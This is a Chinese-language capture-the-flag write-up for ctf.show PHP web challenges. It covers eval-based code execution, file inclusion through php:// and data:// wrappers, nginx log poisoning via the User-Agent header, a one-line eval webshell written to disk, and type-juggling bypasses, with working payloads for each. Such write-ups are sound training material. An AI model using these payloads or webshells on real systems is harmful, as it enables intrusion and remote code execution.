post:c=highlight_file (next(array_reverse(scandir(current(localeconv())))));
web59
用上面的一把梭
web60
梭
web61
梭
web62
梭
web63
梭
web64
梭
web65
梭
web66
被打断施法了(悲)
但是核心思路不变,这次不在index.php所在的目录获取目录了,而是直接定向到根目录
post:c=print_r(scandir("/"));
找到flag.txt了,对其进行定向
post:c=include("/flag.txt");
web67
首先对根目录进行爬取,发现print_r被ban掉了
那么我们找一下有没有能够替换print_r的函数
还真有
var_dump
post:c=var_dump(scandir("/"));
在根目录中发现flag.txt
直接include读取就好
post:c=include("/flag.txt");
web68
highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
好好好
我直接include还不行
web69
梭
web70
梭
web71
源码:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
发现所有显示的文本内容都会被替换成?
如果这样的话我们没有办法获取到任何信息,这个时候我们就需要让c之后的内容无法执行
post:c=var_export(scandir("/"));exit();
发现文本可以正常查看了,接下来就是对flag进行include
post:c=include("/flag.txt");exit();
web72
涉及到pwn,源代码中缓冲区被清空,sa***dir被ban,不做过多理解
源码:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
skip skip
web73
首先来学习一下php伪协议:glob://
glob:// — 查找匹配的文件路径模式。
glob://是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,其用法示例如下:
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
为什么要学这个,是因为这道题对 scandir
函数进行了限制,无法访问到根目录,所以我们要对 scandir
函数进行绕过
// 创建一个DirectoryIterator对象,用glob:///*作为参数,表示匹配当前目录下的所有文件和子目录
c=$a=new DirectoryIterator("glob:///*");
// 遍历DirectoryIterator对象,每次循环将一个文件或子目录赋值给变量$f
foreach($a as $f)
{
// 输出$f的字符串表示,即文件或子目录的名称,后面加一个空格
echo($f->__toString().' ');
}
// 退出程序,截断后面字符串的替换
exit(0);
?>
注意,在post的时候千万不要格式化,要挤在同一行里,不然只能识别第一行
post:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>
可以看flag文件位于根目录下的flagc.txt文件中,对其进行include即可
post:c=include("/flagc.txt");exit();
web74
梭
web75
skip
文件包含
web78
源码:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
可以发现使用了get方法与file函数,尝试直接对flag.php进行get
payload1:?file=flag.php
发现并未返回任何数据,可能是做了防止访问,那么就需要通过另一种该方法进行文件访问
之前做题的时候我们接触到过一个使用file函数对文本进行base64加密传输命令的方法
postdata:1=php://filter/read=convert.base64-encode/resource=flag.php
(web32-伪协议)
直接更改一下传参名以及方法即可
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
web79
从源代码中我们可以看出“php”字符串被过滤了,只要带有php字样就会被替换为???,那么我们就需要换一种方法对文件进行读取
实际上,data函数是可以通过伪协议对命令进行执行的
data:text/plain,<?php system('xxx');?>
开始构造payload
payload1:data:text/plain,<?php system('ls');?>
直接这样传输绝对不行,因为<?php 中的php会被过滤成???
于是我们使用大小写混淆的方法对其绕过
payload2:?file=data:text/plain,<?pHp system('ls');?>
发现flag所在位置,直接对其进行tac
payload3:?file=data:text/plain,<?pHp system('tac f*');?>
web80
过滤条件又加上了data,那么上面的payload就失效了
那么我们就从更底层的方向入手,仅仅在页面传输一个伪协议:php://input
,随后在请求头中进行post
由于post没有对应设置对象,所以我们先在burpsuite中抓取发送报文然后进行post即可
记得要将https协议关闭掉,使用http协议进行发送
web81
过滤条件又加上了":" ,于是伪协议失效
使用插件wappalyzer对网页的服务端进行分析可以看到服务器使用的是nginx,而nginx服务器的日志文件路径一般都会在 /var/log/nginx/a***ess.log
位置,于是对其进行get
payload:?file=/var/log/nginx/a***ess.log
得到的返回日志文件:
172.12.0.5 - - [08/Dec/2023:01:02:50 +0000] "GET / HTTP/1.1" 200 2741 "http://4ec3246c-4019-4624-a8f7-afaf4eb18d68.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
发现返回的日志中包含发送报文方的ip、get方法以及UA(UserAgent)相应报头
前面两个我们都改不了,但是我们可以对发送的ua进行更改
使用burpsuite进行发送报文截取后更改ua头User-Agent: <?php system("ls");?>
得到回应报头
172.12.0.5 - - [09/Dec/2023:01:55:37 +0000] "GET / HTTP/1.1" 200 2741 "http://1506ce9b-f8ae-4c8f-9486-a8ec107e0bec.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
172.12.0.5 - - [09/Dec/2023:01:56:30 +0000] "GET /?file=/var/log/nginx/a***ess.log HTTP/1.1" 200 261 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36"
172.12.0.5 - - [09/Dec/2023:01:56:31 +0000] "GET /favicon.ico HTTP/1.1" 200 2741 "http://1506ce9b-f8ae-4c8f-9486-a8ec107e0bec.challenge.ctf.show/?file=/var/log/nginx/a***ess.log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36"
172.12.0.5 - - [09/Dec/2023:01:58:23 +0000] "GET /?file=/var/log/nginx/a***ess.log HTTP/1.1" 200 782 "-" "fl0g.php
index.php
"
查看到flag所在的位置,对flag进行读取即可
GET /?file=/var/log/nginx/a***ess.log HTTP/1.1
Host: 1506ce9b-f8ae-4c8f-9486-a8ec107e0bec.challenge.ctf.show
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: <?php system("tac fl0g.php");?>
A***ept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
A***ept-Encoding: gzip, deflate
A***ept-Language: zh-***,zh;q=0.9
Connection: close
web82
晚上做
PHP特性
web89
源码:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
之前在新生赛里面做过类似的题目,方向就是通过数组方式来绕过数字检测
payload:?num[0]=1
web90
源码:
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
自己读代码去吧
payload:?num=4476.1
另一种解法
如下图所示,通过查询php手册,我们发现,当base为0时,会检测value的格式来决定使用的进制,所以我们可以通过把4476转换成16进制,经过base为0的intval函数处理,会识别16进制的4476,从而返回flag,又因为===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等,所以由于字符串类型不同会返回false,从而绕过死亡函数。
?num=0x117c
web91
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
源码:
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
解释一下这两个通配符对应的含义
/^php$/im
匹配 $a
开头和结尾是 php
,如果是 php
,进入下一个 if
/^php$/im
^表示开头 $
表示结尾 /i
不区分大小写 /m
表示多行匹配
/^php$/i
匹配 $a
开头和结尾是 php
,不区分大小写
两个语句中的差别在于 /m
字符 ^
和 $
同时使用时,表示精确匹配,需要匹配到以 php
开头和以 php
结尾的字符串才会返回 true
,否则返回 false
/m
多行匹配模式下,若存在换行 \n
并且有开始 ^
或结束 $
符的情况下,将以换行为分隔符,逐行进行匹配。因此当我们传入以下payload时,第一个 if
会返回 true
。
但是当不是多行匹配模式的时候,出现换行符 %0a
的时,$cmd
的值会被当做两行处理。而此时第二个 if
正则匹配不进行多行匹配,所以当我们传入以下payload时,不符合以 php
开头和以 php
结尾会返回 false
。
payload:?num=a%0aphp
web92
解法1
payload:?num=4476.1
解法2
由于PHP比较运算符 在进行比较的时候,会先将字符串类型转化成相同,再比较值是否相等,所以当我们输入payload时,$num=4476
的比较结果由于字符串类型相同,但是值不一样,所以返回false,而 intval($num,0)==4476
的比较结果,由于base为0,会自动识别为16进制,比较的结果为true,从而获得flag。
payload:?num=0x117c
web93
小数绕过或八进制绕过
web94
数字开头为0会被die,那么直接设置num参数为4476.0或者八进制前面加一个空格
payload:?num= 010574
web95
同上
web96
源码:
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
不能直接向u传参flag.php,前面加一个./就行
web97
源码:
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
md5强类型比较,需要a与b的md5值相等,但是要求了a与b的字符串不能相等,于是找md5强类型绕过
post:a[]=a&b[]=b
可以看到,MD5一个数组返回了 null
,null===null
,成功绕过
web98
源码:
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
这道题用到了三元运算符
首先判断是否GET传入了数据,如果传入了则将POST的地址赋值给了GET
其实就是用POST替换GET
如果GET存在flag字段的值则会继续替换,最后替换成SERVER
这里我们只要GET随便传入一个数据让post替换get
然后post传入 HTTP_FLAG=flag
这样最后highlight_file就能去显示$flag
web99
源码:
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
-
$allow = array();
: 创建一个空数组$allow
。 -
for ($i=36; $i < 0x36d; $i++) { ... }
: 这个循环从 36 到 0x36d(十进制为877)迭代,将rand(1,$i)
生成的随机数添加到$allow
数组中。 -
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ ... }
: 检查是否设置了 ‘n’ 参数,并且该参数的值存在于$allow
数组中。如果条件成立,就执行下一行的代码。 -
file_put_contents($_GET['n'], $_POST['content']);
: 将通过 POST 请求传递的 ‘content’ 数据写入由 URL 中 ‘n’ 参数指定的文件中。
In_array() 函数
定义:搜索数组中是否存在指定的值,如果在数组中找到值则返回 TRUE,否则返回 FALSE。
exp:
<?php
$sites = array("Google", "Taobao", "Facebook");
if (in_array("Google", $sites))
{
echo "找到匹配项!";
}
else
{
echo "没有找到匹配项!";
}
?>
特性:
第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。
本题思路:
使用get方法对传入php文件进行命名,post方法穿入一句话马来get webshell
payload:
get:?n=1.php
Post:content=<?=@eval($_POST['eval']);?>
Antsword setting:
出
web100
源码:
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
-
$_GET['v1']
,$_GET['v2']
,$_GET['v3']
: 获取通过GET请求传递的参数 v1、v2、v3 的值。 -
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
: 检查 v1、v2、v3 是否都是数字,并将结果存储在变量$v0
中。 -
if($v0){
: 如果上述数字检查通过,则进入此条件。 -
if(!preg_match("/\;/", $v2)){
: 如果变量$v2
中不包含分号;
,则进入此条件。 -
if(preg_match("/\;/", $v3)){
: 如果变量$v3
中包含分号;
,则进入此条件。 -
eval("$v2('ctfshow')$v3");
: 使用eval
函数执行动态生成的字符串。这个字符串包含$v2
函数名,参数是字符串'ctfshow'
,然后连接上$v3
。
这道题的关键在于
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
我们已知运算符优先级的排列如下
&& || = and or
//从左往右,从高到低
所以这串代码检查仅对v1进行数字型检查,对v2以及v3没有影响
那么接下来就是传参来构造eval函数了
Payload:?v1=1&v2=var_dump($ctfshow)&v3=;
输出:
object(ctfshow)#1 (3) { ["dalaoA"]=> NULL ["dalaoB"]=> NULL ["flag_is_0d8764100x2d4b030x2d40730x2da78a0x2d7fec68366b6b"]=> NULL }
Fatal error: Uncaught Error: Function name must be a string in /var/www/html/index.php(24) : eval()'d code:1 Stack trace: #0 /var/www/html/index.php(24): eval() #1 {main} thrown in /var/www/html/index.php(24) : eval()'d code on line 1
直接输入flag发现错误,仔细查看发现0x2d多次出现,查询后发现0x2d为 -
,进行替换即可(结果这一步还是个非预期)
web101
源码:
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
由于过滤条件变多,于是上一道题的payload也随即失效
那么我们只需要找一个不包含上面任何过滤的命令即可
在这里对ctfshow文件进行序列化
payload:?v1=1&v2=echo(serialize(new%20ctfshow&v3=));
输出:
O:7:"ctfshow":3:{s:6:"dalaoA";N;s:6:"dalaoB";N;s:52:"flag_8fe215c70x2da8210x2d416e0x2d9a650x2deaa5ce47f60";N;}
还是一样的操作,把0x2d换成-
但是这道题比较脑残得把最后一位爆破所以就不交了
web102
源码:
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
-
$v4 = (is_numeric($v2) and is_numeric($v3));
。这意味着$v4
将被赋值为布尔值,判断是否同时满足$v2
和$v3
是数值。 -
if($v4){ ... }
: 如果$v4
为真,即$v2
和$v3
同时为数值类型,则执行以下代码块。 -
$s = substr($v2,2);
: 从$v2
中截取从第三个字符开始的子字符串,并将结果赋给$s
。 -
$str = call_user_func($v1,$s);
: 使用call_user_func
函数调用$v1
指定的回调函数,并将$s
作为参数传递给该函数。将函数的返回值赋给变量$str
。 -
file_put_contents($v3,$str);
: 将$str
的值写入到以$v3
命名的文件中。 -
else{ die('hacker'); }
: 如果$v4
不为真,即$v2
或$v3
不是数值类型,则终止程序执行。
首先我们对陌生函数进行一下解释
-
substr()
字符串截取 exp:$s = substr($v2,2);
截取从第三个字符开始的子字符串,过滤前两位 -
call_user_func()
调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数 -
file_put_contents($v3,$str);
用来写入文件,第一个参数是文件名,第二个参数是需要写进文件中的内容 文件名支持伪协议
已知 call_user_func
函数体中的 $v1
应为一个函数,那么v1赋值时应赋值一个方法
在函数 $s = substr($v2,2);
中不难得知变量v2的类型应该是一个字符串,并且由于上面 is_numberic
函数的限制,v2应该被赋值一个纯数字字符串,并且这个字符串的前面应该加上两个混淆字符以便函数体对方法进行正确调用
file_put_contents($v3,$str);
,v3变量应该传入一个文件名,并且将变量str中的数据传入到被定义的文件中,v3变量可以使用伪协议进行构建
综上所述
构造payload
v3=php://filter/write=convert.base64-decode/resource=shell.php
v1=hex2bin
v2--> <?=cat *; -base64->PD89YGNhdCAqYDs -hex(ascii)->115044383959474e6864434171594473-substr绕过->00115044383959474e6864434171594473
final
Get:?v2=00115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=shell.php
Post:v1=hex2bin
web103
同上
web104
源码:
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
直接sha1弱类型比较绕过
web105
源码:
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
-
$error='你还想要flag嘛?';
: 将字符串赋值给变量$error
。 -
$suces='既然你想要那给你吧!';
: 将字符串赋值给变量$suces
。 -
foreach($_GET as $key => $value){ ... }
: 遍历$_GET
数组中的所有键值对,将每个键值对的键和值分别赋给变量$key
和$value
。 -
foreach($_POST as $key => $value){ ... }
: 类似地,遍历$_POST
数组中的所有键值对,将每个键值对的键和值分别赋给变量$key
和$value
。 -
if($key==='error'){ die("what are you doing?!"); }
: 如果在$_GET
数组中找到一个键名为error
,则输出错误消息并终止脚本。 -
if($value==='flag'){ die("what are you doing?!"); }
: 如果在$_POST
数组中找到一个值为flag
的键值对,则输出错误消息并终止脚本。 -
$$key=$$value;
: 使用覆盖变量的方式,将$value
的值赋给与$key
同名的变量 -
if(!($_POST['flag']==$flag)){ die($error); }
: 如果$_POST
中的flag
值不等于$flag
,则输出错误消息并终止脚本。
因为if(!($_POST['flag']==$flag)){ die($error); }
,只要不成立就会输出$error
,我们可以在GET把flag赋值给suces,然后再把suces赋值给error就能显示flag了
Payload:
Get:?suces=flag
Post:error=suces
web106
最简单的sha1绕过
web107
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str
parse_str() 函数把查询字符串解析到变量中。
如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。
本题思路:
1、如果没有设置第二个参数,则解析后将赋值给同名变量。
2、parse_str(
v
1
,
v1,
v1,v2),则会将v1解析后,放到v2变量里面。
只要满足v3的md5等于v2[flag]即可。可以传递给v3任意值,然后v1=flag=v3的md5值,这里选择让v3为数组类型从而使得md5值为空,v1=v2后md5也为空
Payload:
Post:v1=v2
Get:?v3[]=1
web108
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
error
strrev()
反转字符串
exp:strrev(string $string
): string (返回 string
反转后的字符串)
解题思路:
由于正则匹配的原因所以不能直接向变量传入十六进制,所以将0x36d转换成10进制后得到877,因为strrev函数所以应该输入778
随后对ereg函数进行截断
首先传入一个符合正则表达式的匹配条件,随后使用%00对其进行null截断,再传入778
payload:?c=a%00778
web109
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
可以看到我们即将要构造的函数是一个被实例化的对象,那么我们可以通过自行构建异常类型来执行system指令
Payload1:?v1=Exception&v2=system(‘ls’)
这样函数体就变成了
eval("echo new Exception(system('ls')());");
输出:fl36dg.txt index.php
直接对flag进行读取即可
web110
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
加入了很多的过滤条件
先来介绍两个新函数
FilesystemIterator
获取指定目录下的所有文件,用于构造新的文件系统迭代器
exp:$fileItr = new FilesystemIterator(dirname(__FILE__));
getcwd()
将当前工作目录的绝对路径复制
payload:
?v1=FilesystemIterator&v2=getcwd
可以得到对应flag所在的txt,直接读取即可
web111
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
?>
新函数:
GLOBALS
引用全局作用域中可用的php超全局变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
Payload
?v1=ctfshow&v2=GLOBALS
web112
源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file — 判断给定文件名是否为一个正常的文件
exp:is_file ( string $filename ) : bool
这道题我们需要能让is_file检测出是文件,并且 highlight_file可以识别为文件。
这时候可以利用php伪协议。
payload:file=php://filter/resource=flag.php